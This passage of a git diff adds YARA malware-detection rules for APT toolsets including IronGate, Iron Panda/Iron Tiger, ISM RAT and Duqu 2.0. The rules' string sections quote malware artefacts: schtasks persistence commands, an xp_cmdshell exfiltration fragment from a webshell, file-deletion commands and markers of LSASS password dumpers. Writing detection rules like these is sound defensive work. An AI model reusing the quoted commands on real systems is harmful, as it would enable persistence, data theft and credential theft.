+	meta:
+		description = "Detects IronGate APT Malware - Step7ProSim DLL"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 90
+		hash1 = "0539af1a0cc7f231af8f135920a990321529479f6534c3b64e571d490e1514c3"
+		hash2 = "fa8400422f3161206814590768fc1a27cf6420fc5d322d52e82899ac9f49e14f"
+		hash3 = "5ab1672b15de9bda84298e0bb226265af09b70a9f0b26d6dfb7bdd6cbaed192d"
+		id = "a73cf9e2-c24f-5553-92e2-3a1a882a4a06"
+	strings:
+		$x1 = "\\obj\\Release\\Step7ProSim.pdb" ascii
+
+		$s1 = "Step7ProSim.Interfaces" fullword ascii
+		$s2 = "payloadExecutionTimeInMilliSeconds" fullword ascii
+		$s3 = "PackagingModule.Step7ProSim.dll" fullword wide
+		$s4 = "<KillProcess>b__0" fullword ascii
+		$s5 = "newDllFilename" fullword ascii
+		$s6 = "PackagingModule.exe" fullword wide
+		$s7 = "$863d8af0-cee6-4676-96ad-13e8540f4d47" fullword ascii
+		$s8 = "RunPlcSim" fullword ascii
+		$s9 = "$ccc64bc5-ef95-4217-adc4-5bf0d448c272" fullword ascii
+		$s10 = "InstallProxy" fullword ascii
+		$s11 = "DllProxyInstaller" fullword ascii
+		$s12 = "FindFileInDrive" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and ( $x1 or 3 of ($s*) ) )
+		or ( 6 of them )
+}
+
+rule IronGate_PyInstaller_update_EXE {
+   meta:
+      description = "Detects a PyInstaller file named update.exe as mentioned in the IronGate APT"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Mr6M2J"
+      date = "2016-06-04"
+      modified = "2023-01-06"
+      score = 60
+      hash1 = "2044712ceb99972d025716f0f16aa039550e22a63000d2885f7b7cd50f6834e0"
+      id = "f8d1b97e-86d9-547f-a212-a84fb068af3c"
+   strings:
+      $s1 = "bpython27.dll" fullword ascii
+      $s5 = "%s%s.exe" fullword ascii
+      $s6 = "bupdate.exe.manifest" fullword ascii
+      $s9 = "bunicodedata.pyd" fullword ascii
+      $s11 = "distutils.sysconfig(" ascii
+      $s16 = "distutils.debug(" ascii
+      $s18 = "supdate" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and all of them
+}
+
+/* Additional Rules --------------------------------------------------------- */
+/* Other tools used in the APT ---------------------------------------------- */
+
+rule Nirsoft_NetResView {
+	meta:
+		description = "Detects NirSoft NetResView - utility that displays the list of all network resources"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 40
+		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
+		id = "bf786432-3ecf-510e-8d95-50aff09826ce"
+	strings:
+		$s1 = "NetResView.exe" fullword wide
+		$s2 = "2005 - 2013 Nir Sofer" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
diff --git a/yara-Neo23x0/apt_irontiger.yar b/yara-Neo23x0/apt_irontiger.yar
new file mode 100644
index 0000000..cb13e7b
--- /dev/null
+++ b/yara-Neo23x0/apt_irontiger.yar
@@ -0,0 +1,160 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-16
+	Identifier: Iron Panda
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IronPanda_DNSTunClient {
+	meta:
+		description = "Iron Panda malware DnsTunClient - file named.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		score = 80
+		hash = "a08db49e198068709b7e52f16d00a10d72b4d26562c0d82b4544f8b0fb259431"
+		id = "dd608176-d7e7-5819-a7d4-e8b89d4a59c2"
+	strings:
+		$s1 = "dnstunclient -d or -domain <domain>" fullword ascii
+		$s2 = "dnstunclient -ip <server ip address>" fullword ascii
+		$s3 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"\\Microsoft\\Windows\\PLA\\System\\Microsoft Windows\" /tr " fullword ascii
+		$s4 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"Microsoft Windows\" /tr " fullword ascii
+		$s5 = "taskkill /im conime.exe" fullword ascii
+		$s6 = "\\dns control\\t-DNSTunnel\\DnsTunClient\\DnsTunClient.cpp" ascii
+		$s7 = "UDP error:can not bing the port(if there is unclosed the bind process?)" fullword ascii
+		$s8 = "use error domain,set domain pls use -d or -domain mark(Current: %s,recv %s)" fullword ascii
+		$s9 = "error: packet num error.the connection have condurt,pls try later" fullword ascii
+		$s10 = "Coversation produce one error:%s,coversation fail" fullword ascii
+		$s11 = "try to add many same pipe to select group(or mark is too easy)." fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 2 of them ) 
+		or
+		5 of them
+}
+
+rule IronPanda_Malware1 {
+	meta:
+		description = "Iron Panda Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "a0cee5822ddf254c254a5a0b7372c9d2b46b088a254a1208cb32f5fe7eca848a"
+		id = "14dc2611-4ca9-5dd2-ad00-9397a18d7be2"
+	strings:
+		$x1 = "activedsimp.dll" fullword wide
+		$s1 = "get_BadLoginAddress" fullword ascii
+		$s2 = "get_LastFailedLogin" fullword ascii
+		$s3 = "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" fullword ascii
+		$s4 = "get_PasswordExpirationDate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule IronPanda_Webshell_JSP {
+	meta:
+		description = "Iron Panda Malware JSP"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "3be95477e1d9f3877b4355cff3fbcdd3589bb7f6349fd4ba6451e1e9d32b7fa6"
+		id = "38125418-7867-5073-a731-4f1d64e07588"
+	strings:
+		$s1 = "Bin_ExecSql(\"exec master..xp_cmdshell'bcp \\\"select safile from \" + db + \"..bin_temp\\\" queryout \\\"\" + Bin_TextBox_SaveP" ascii
+		$s2 = "tc.Text=\"<a href=\\\"javascript:Bin_PostBack('zcg_ClosePM','\"+Bin_ToBase64(de.Key.ToString())+\"')\\\">Close</a>\";" fullword ascii
+		$s3 = "Bin_ExecSql(\"IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp\");" fullword ascii
+	condition:
+		filesize < 330KB and 1 of them
+}
+
+rule IronPanda_Malware_Htran {
+	meta:
+		description = "Iron Panda Malware Htran"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "7903f94730a8508e9b272b3b56899b49736740cea5037ea7dbb4e690bcaf00e7"
+		id = "7215f0da-9367-59b4-a78b-aeeebc4f2b69"
+	strings:
+		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
+		$s2 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s3 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s4 = "[-] ERROR: Must supply logfile name." fullword ascii
+		$s5 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s6 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s7 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s9 = "[+] Make a Connection to %s:%d ......" fullword ascii
+		$s10 = "cmshared_get_ptr_from_atom" fullword ascii
+		$s11 = "_cmshared_get_ptr_from_atom" ascii
+		$s12 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s13 = "[-] TransmitPort invalid." fullword ascii
+		$s14 = "[+] Waiting for Client on port:%d ......" fullword ascii
+	condition:
+		 ( uint16(0) == 0x5a4d and filesize < 125KB and 3 of them ) 
+		 or 
+		 5 of them
+}
+
+rule IronPanda_Malware2 {
+	meta:
+		description = "Iron Panda Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "a89c21dd608c51c4bf0323d640f816e464578510389f9edcf04cd34090decc91"
+		id = "63916f73-808d-5dc7-86f3-05c8b9c5650d"
+	strings:
+		$s0 = "\\setup.exe" ascii
+		$s1 = "msi.dll.urlUT" fullword ascii
+		$s2 = "msi.dllUT" fullword ascii
+		$s3 = "setup.exeUT" fullword ascii
+		$s4 = "/c del /q %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule IronPanda_Malware3 {
+	meta:
+		description = "Iron Panda Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "5cd2af844e718570ae7ba9773a9075738c0b3b75c65909437c43201ce596a742"
+		id = "bc3094ab-9dc8-5b9d-aa13-28daa7d5c13f"
+	strings:
+		$s0 = "PluginDeflater.exe" fullword wide
+		$s1 = ".Deflated" fullword wide
+		$s2 = "PluginDeflater" fullword ascii
+		$s3 = "DeflateStream" fullword ascii /* Goodware String - occured 1 times */
+		$s4 = "CompressionMode" fullword ascii /* Goodware String - occured 4 times */
+		$s5 = "System.IO.Compression" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10KB and all of them
+}
+
+rule IronPanda_Malware4 {
+	meta:
+		description = "Iron Panda Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		hash = "0d6da946026154416f49df2283252d01ecfb0c41c27ef3bc79029483adc2240c"
+		id = "0a72c1e1-b442-52d4-af52-b863abe5ba3c"
+	strings:
+		$s0 = "TestPlugin.dll" fullword wide
+		$s1 = "<a href='http://www.baidu.com'>aasd</a>" fullword wide
+		$s2 = "Zcg.Test.AspxSpyPlugins" fullword ascii
+		$s6 = "TestPlugin" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10KB and all of them
+}
+
diff --git a/yara-Neo23x0/apt_irontiger_trendmicro.yar b/yara-Neo23x0/apt_irontiger_trendmicro.yar
new file mode 100644
index 0000000..b9f7db8
--- /dev/null
+++ b/yara-Neo23x0/apt_irontiger_trendmicro.yar
@@ -0,0 +1,276 @@
+rule IronTiger_ASPXSpy : HIGHVOL
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "ASPXSpy detection. It might be used by other fraudsters"
+		reference = "http://goo.gl/T5fSJC"
+		id = "3010fcb9-0dbf-59ef-90ce-01d922a95f2d"
+	strings:
+		$str2 = "IIS Spy" wide ascii
+		$str3 = "protected void DGCoW(object sender,EventArgs e)" wide ascii
+	condition:
+		any of ($str*)
+}
+
+rule IronTiger_ChangePort_Toolkit_driversinstall
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
+		reference = "http://goo.gl/T5fSJC"
+		id = "fde2728b-9a23-5f35-9727-0834a7b403da"
+	strings:
+		$str1 = "openmydoor" wide ascii
+		$str2 = "Install service error" wide ascii
+		$str3 = "start remove service" wide ascii
+		$str4 = "NdisVersion" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_ChangePort_Toolkit_ChangePortExe
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Toolkit ChangePort"
+		reference = "http://goo.gl/T5fSJC"
+		id = "2ba74413-5f72-560a-8567-1c4bf3357097"
+	strings:
+		$str1 = "Unable to alloc the adapter!" wide ascii
+		$str2 = "Wait for master fuck" wide ascii
+		$str3 = "xx.exe <HOST> <PORT>" wide ascii
+		$str4 = "chkroot2007" wide ascii
+		$str5 = "Door is bind on %s" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_dllshellexc2010
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "dllshellexc2010 Exchange backdoor + remote shell"
+		reference = "http://goo.gl/T5fSJC"
+		id = "960e8e5c-65a5-5dd2-90fa-1f7d31ee8cb5"
+	strings:
+		$str1 = "Microsoft.Exchange.Clients.Auth.dll" ascii wide
+		$str2 = "Dllshellexc2010" wide ascii
+		$str3 = "Users\\ljw\\Documents" wide ascii
+		$bla1 = "please input path" wide ascii
+		$bla2 = "auth.owa" wide ascii
+	condition:
+		(uint16(0) == 0x5a4d) and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_dnstunnel
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
+		reference = "http://goo.gl/T5fSJC"
+		id = "7f24d3dd-4301-5b12-8262-4cc5f6578a4b"
+	strings:
+		$str1 = "\\DnsTunClient\\" wide ascii
+		$str2 = "\\t-DNSTunnel\\" wide ascii
+		$str3 = "xssok.blogspot" wide ascii
+		$str4 = "dnstunclient" wide ascii
+		$mistake1 = "because of error, can not analysis" wide ascii
+		$mistake2 = "can not deal witn the error" wide ascii
+		$mistake3 = "the other retun one RST" wide ascii
+		$mistake4 = "Coversation produce one error" wide ascii
+		$mistake5 = "Program try to use the have deleted the buffer" wide ascii
+	condition:
+		(uint16(0) == 0x5a4d) and ((any of ($str*)) or (any of ($mistake*)))
+}
+
+rule IronTiger_EFH3_encoder
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger EFH3 Encoder"
+		reference = "http://goo.gl/T5fSJC"
+		id = "ec30782e-8fe9-5843-9db4-5a3c477b7f25"
+	strings:
+		$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" wide ascii
+		$str2 = "123.EXE 123.EFH" wide ascii
+		$str3 = "ENCODER: b[i]: = " wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_GetPassword_x64
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - GetPassword x64"
+		reference = "http://goo.gl/T5fSJC"
+		modified = "2023-01-06"
+		id = "8f55b23f-52fd-5106-9112-6cffa97269ab"
+	strings:
+		$str1 = "(LUID ERROR)" wide ascii
+		$str2 = "Users\\K8team\\Desktop\\GetPassword" wide ascii
+		$str3 = "Debug x64\\GetPassword.pdb" ascii
+		$bla1 = "Authentication Package:" wide ascii
+		$bla2 = "Authentication Domain:" wide ascii
+		$bla3 = "* Password:" wide ascii
+		$bla4 = "Primary User:" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_GTalk_Trojan
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - GTalk Trojan"
+		reference = "http://goo.gl/T5fSJC"
+		id = "3d72660b-c470-5e63-a83d-990d3c5a696c"
+	strings:
+		$str1 = "gtalklite.com" wide ascii
+		$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" wide ascii
+		$str3 = "D13idmAdm" wide ascii
+		$str4 = "Error: PeekNamedPipe failed with %i" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_HTTP_SOCKS_Proxy_soexe
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
+		reference = "http://goo.gl/T5fSJC"
+		id = "6ead3d61-c1e3-55d1-894e-ab57bcd09cde"
+	strings:
+		$str1 = "listen SOCKET error." wide ascii
+		$str2 = "WSAAsyncSelect SOCKET error." wide ascii
+		$str3 = "new SOCKETINFO error!" wide ascii
+		$str4 = "Http/1.1 403 Forbidden" wide ascii
+		$str5 = "Create SOCKET error." wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (3 of ($str*))
+}
+
+rule IronTiger_NBDDos_Gh0stvariant_dropper
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
+		reference = "http://goo.gl/T5fSJC"
+		id = "3610b9e3-45f8-5a8d-8977-817160009818"
+	strings:
+		$str1 = "This service can't be stoped." wide ascii
+		$str2 = "Provides support for media palyer" wide ascii
+		$str4 = "CreaetProcess Error" wide ascii
+		$bla1 = "Kill You" wide ascii
+		$bla2 = "%4.2f GB" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_PlugX_DosEmulator
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro - modified by Florian Roth"
+		description = "Iron Tiger Malware - PlugX DosEmulator"
+		reference = "http://goo.gl/T5fSJC"
+		id = "e601d91d-49e6-5fe9-b70b-fb1fb6c4f059"
+	strings:
+		$str1 = "Dos Emluator Ver" wide ascii
+		$str2 = "\\PIPE\\FASTDOS" wide ascii
+		$str3 = "FastDos.cpp" wide ascii
+		$str4 = "fail,error code = %d." wide ascii
+	condition:
+		uint16(0) == 0x5a4d and 2 of ($str*)
+}
+
+rule IronTiger_PlugX_FastProxy
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX FastProxy"
+		reference = "http://goo.gl/T5fSJC"
+		id = "14e05823-6288-5f02-8060-add51084c446"
+	strings:
+		$str1 = "SAFEPROXY HTServerTimer Quit!" wide ascii
+		$str2 = "Useage: %s pid" wide ascii
+		$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" wide ascii
+		$str4 = "p0: port for listener" wide ascii
+		$str5 = "\\users\\whg\\desktop\\plug\\" wide ascii
+		$str6 = "[+Y] cwnd : %3d, fligth:" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+rule IronTiger_PlugX_Server
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - PlugX Server"
+		reference = "http://goo.gl/T5fSJC"
+		id = "38011a23-3ed7-5f58-a814-2551526b27f3"
+	strings:
+		$str1 = "\\UnitFrmManagerKeyLog.pas" wide ascii
+		$str2 = "\\UnitFrmManagerRegister.pas" wide ascii
+		$str3 = "Input Name..." wide ascii
+		$str4 = "New Value#" wide ascii
+		$str5 = "TThreadRControl.Execute SEH!!!" wide ascii
+		$str6 = "\\UnitFrmRControl.pas" wide ascii
+		$str7 = "OnSocket(event is error)!" wide ascii
+		$str8 = "Make 3F Version Ok!!!" wide ascii
+		$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" wide ascii
+		$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule IronTiger_ReadPWD86
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - ReadPWD86"
+		reference = "http://goo.gl/T5fSJC"
+		id = "5db832be-4b8e-536f-8db7-a215a90284e2"
+	strings:
+		$str1 = "Fail To Load LSASRV" wide ascii
+		$str2 = "Fail To Search LSASS Data" wide ascii
+		$str3 = "User Principal" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and (all of ($str*))
+}
+
+rule IronTiger_Ring_Gh0stvariant
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Malware - Ring Gh0stvariant"
+		reference = "http://goo.gl/T5fSJC"
+		id = "6858550a-4000-581c-b270-370db8ed1c57"
+	strings:
+		$str1 = "RING RAT Exception" wide ascii
+		$str2 = "(can not update server recently)!" wide ascii
+		$str4 = "CreaetProcess Error" wide ascii
+		$bla1 = "Sucess!" wide ascii
+		$bla2 = "user canceled!" wide ascii
+	condition:
+		uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
+}
+
+rule IronTiger_wmiexec
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "Iron Tiger Tool - wmi.vbs detection"
+		reference = "http://goo.gl/T5fSJC"
+		id = "a3060f50-3594-5da9-98e2-6fa0087451f5"
+	strings:
+		$str1 = "Temp Result File , Change it to where you like" wide ascii
+		$str2 = "wmiexec" wide ascii
+		$str3 = "By. Twi1ight" wide ascii
+		$str4 = "[both mode] ,delay TIME to read result" wide ascii
+		$str5 = "such as nc.exe or Trojan" wide ascii
+		$str6 = "+++shell mode+++" wide ascii
+		$str7 = "win2008 fso has no privilege to delete file" wide ascii
+	condition:
+		2 of ($str*)
+}
diff --git a/yara-Neo23x0/apt_ism_rat.yar b/yara-Neo23x0/apt_ism_rat.yar
new file mode 100644
index 0000000..138c4c6
--- /dev/null
+++ b/yara-Neo23x0/apt_ism_rat.yar
@@ -0,0 +1,25 @@
+/*
+   Yara Rule Set
+   Author: Ahmed Zaki
+   Date: 2017-05-04
+   Identifier: ISM RAT
+   Reference: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/
+*/
+
+rule Trojan_ISMRAT_gen {
+   meta:
+      description = "ISM RAT"
+      author = "Ahmed Zaki"
+      reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/"
+      hash1 = "146a112cb01cd4b8e06d36304f6bdf7b"
+      hash2 = "fa3dbe37108b752c38bf5870b5862ce5"
+      hash3 = "bf4b07c7b4a4504c4192bd68476d63b5"
+      id = "e72241ce-d6ee-5cb7-a83d-157161938d83"
+   strings:
+      $s1 = "WinHTTP Example/1.0" wide
+      $s2 = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0" wide
+      $s3 = "|||Command executed successfully"
+      $dir = /Microsoft\\Windows\\Tmpe[a-z0-9]{2,8}/
+   condition:
+      uint16(0) == 0x5A4D and all of them
+}
diff --git a/yara-Neo23x0/apt_kaspersky_duqu2.yar b/yara-Neo23x0/apt_kaspersky_duqu2.yar
new file mode 100644
index 0000000..0610d86
--- /dev/null
+++ b/yara-Neo23x0/apt_kaspersky_duqu2.yar
@@ -0,0 +1,157 @@
+/*
+	Yara Rule Set
+	Author: Mixed - Kasperksy & Florian Roth
+	Date: 2015-06-10
+	Identifier: Duqu2
+*/
+
+/* Rules by Kaspersky ------------------------------------------------------ */
+
+rule APT_apt_duqu2_loaders {
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 samples"
+		last_modified = "2015-06-09"
+		version = "1.0"
+		id = "22db52c2-18e7-537e-a9c5-38ccfd3a0d30"
+	strings:
+		$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
+		$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
+		$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
+		$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
+		$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
+		$b1 = "MSI.dll"
+		$b2 = "msi.dll"
+		$b3 = "StartAction"
+		$c1 = "msisvc_32@" wide
+		$c2 = "PROP=" wide
+		$c3 = "-Embedding" wide
+		$c4 = "S:(ML;;NW;;;LW)" wide
+		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
+		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
+	condition:
+		( (uint16(0) == 0x5a4d) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) ) and filesize < 100000 )
+		or
+		( (uint32(0) == 0xe011cfd0) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) or (any of ($d*)) ) and filesize < 20000000 )
+}
+
+rule APT_apt_duqu2_drivers {
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 drivers"
+		last_modified = "2015-06-09"
+		version = "1.0"
+		id = "714d5151-9f80-582e-a628-1de9d83a072d"
+	strings:
+		$a1 = "\\DosDevices\\port_optimizer" wide nocase
+		$a2 = "romanian.antihacker"
+		$a3 = "PortOptimizerTermSrv" wide
+		$a4 = "ugly.gorilla1"
+		$b1 = "NdisIMCopySendCompletePerPacketInfo"
+		$b2 = "NdisReEnumerateProtocolBindings"
+		$b3 = "NdisOpenProtocolConfiguration"
+	condition:
+		uint16(0) == 0x5A4D and (any of ($a*) ) and (2 of ($b*)) and filesize < 100000
+}
+
+/* Action Loader Samples --------------------------------------------------- */
+
+rule Duqu2_Generic1 {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - Generic Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		super_rule = 1
+		hash0 = "3f9168facb13429105a749d35569d1e91465d313"
+		hash1 = "0a574234615fb2382d85cd6d1a250d6c437afecc"
+		hash2 = "38447ed1d5e3454fe17699f86c0039f30cc64cde"
+		hash3 = "5282d073ee1b3f6ce32222ccc2f6066e2ca9c172"
+		hash4 = "edfca3f0196788f7fde22bd92a8817a957c10c52"
+		hash5 = "6a4ffa6ca4d6fde8a30b6c8739785f4bd2b5c415"
+		hash6 = "00170bf9983e70e8dd4f7afe3a92ce1d12664467"
+		hash7 = "32f8689fd18c723339414618817edec6239b18f3"
+		hash8 = "f860acec9920bc009a1ad5991f3d5871c2613672"
+		hash9 = "413ba509e41c526373f991d1244bc7c7637d3e13"
+		hash10 = "29cd99a9b6d11a09615b3f9ef63f1f3cffe7ead8"
+		hash11 = "dfe1cb775719b529138e054e7246717304db00b1"
+		id = "0e03eda5-d65b-5400-aceb-bc37559d9a6e"
+	strings:
+		$s0 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" fullword wide
+		$s1 = "SetSecurityDescriptorSacl" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 189 times */
+		$s2 = "msisvc_32@" fullword wide
+		$s3 = "CompareStringA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1392 times */
+		$s4 = "GetCommandLineW" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1680 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule APT_Kaspersky_Duqu2_procexp {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - Malicious MSI"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash1 = "2422835716066b6bcecb045ddd4f1fbc9486667a"
+		hash2 = "b120620b5d82b05fee2c2153ceaf305807fa9f79"
+		hash3 = "288ebfe21a71f83b5575dfcc92242579fb13910d"
+		id = "d7fd48d5-2416-5eff-a751-ece09ce27767"
+	strings:
+		$x1 = "svcmsi_32.dll" fullword wide
+		$x2 = "msi3_32.dll" fullword wide
+		$x3 = "msi4_32.dll" fullword wide
+		$x4 = "MSI.dll" fullword ascii
+
+		$s1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "Sysinternals installer" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Process Explorer" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) ) and ( all of ($s*) )
+}
+
+rule APT_Kaspersky_Duqu2_SamsungPrint {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash = "ce39f41eb4506805efca7993d3b0b506ab6776ca"
+		id = "cc4bc00e-f38b-577f-8f00-637c0549894c"
+	strings:
+		$s0 = "Installer for printer drivers and applications" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "msi4_32.dll" fullword wide
+		$s2 = "HASHVAL" fullword wide
+		$s3 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+		$s4 = "ca.dll" fullword ascii
+		$s5 = "Samsung Electronics Co., Ltd." fullword wide
